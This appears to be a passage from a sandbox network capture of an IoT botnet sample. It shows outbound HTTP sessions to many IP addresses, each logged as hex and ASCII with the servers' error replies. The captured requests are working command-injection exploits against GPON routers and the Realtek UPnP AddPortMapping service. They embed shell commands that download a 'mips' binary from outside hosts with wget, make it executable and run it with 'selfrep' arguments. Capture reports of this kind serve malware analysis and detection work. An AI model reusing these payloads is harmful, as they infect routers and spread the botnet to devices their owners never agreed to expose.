4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:29.139617920 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
966	192.168.2.13	50698	13.126.135.123	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:28.973126888 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.375507116 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:29 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
967	192.168.2.13	36166	74.48.9.169	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.038989067 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.194709063 CEST	463	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:29 GMT Server: Apache Content-Length: 285 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
968	192.168.2.13	32804	149.28.84.6	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.039041996 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.192514896 CEST	497	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 303 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 76 75 6c 74 72 2e 67 75 65 73 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at vultr.guest Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
969	192.168.2.13	52286	178.128.236.108	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.104074955 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:29.327405930 CEST	441	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:53:29 GMT Server: Apache/2.4.57 (CentOS Stream) OpenSSL/3.0.7 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
970	192.168.2.13	55162	164.167.226.105	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:29.165529013 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:30.336391926 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:30.555131912 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 